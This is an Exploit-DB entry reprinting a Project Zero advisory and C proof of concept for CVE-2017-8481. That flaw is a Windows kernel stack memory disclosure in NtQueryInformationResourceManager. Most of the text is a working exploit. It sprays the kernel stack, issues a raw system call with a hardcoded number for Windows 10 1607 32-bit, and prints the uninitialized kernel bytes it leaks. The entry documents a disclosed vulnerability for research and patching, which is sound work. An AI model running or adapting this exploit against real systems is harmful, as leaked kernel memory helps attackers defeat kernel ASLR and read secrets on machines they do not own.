Microsoft Windows - 'nt!NtQueryInformationResourceManager (information class 0)' Kernel Stack Memory Disclosure

2017-06-23T00:00:00
ID EDB-ID:42242
Type exploitdb
Reporter Exploit-DB
Modified 2017-06-23T00:00:00

Description

Microsoft Windows - 'nt!NtQueryInformationResourceManager (information class 0)' Kernel Stack Memory Disclosure. CVE-2017-8481. Dos exploit for Windows platform

                                        
                                            /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207

We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.

The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........
--- cut ---

It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6;

  // Create a volatile transaction manager.
  HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
  if (hManager == INVALID_HANDLE_VALUE) {
    printf("CreateTransactionManager failed, %d\n", GetLastError());
    return 1;
  }

  // Create a resource manager.
  GUID guid;
  ZeroMemory(&guid, sizeof(guid));

  HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL);
  if (hResource == INVALID_HANDLE_VALUE) {
    printf("CreateResourceManager failed, %d\n", GetLastError());
    CloseHandle(hManager);
    return 1;
  }

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Trigger the vulnerability and print out the output structure.
  BYTE output[24] = { /* zero padding */ };
  DWORD ReturnLength;
  NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength);

  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationResourceManager failed, %x\n", st);
    CloseHandle(hManager);
    CloseHandle(hResource);
    return 1;
  }

  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hManager);
  CloseHandle(hResource);

  return 0;
}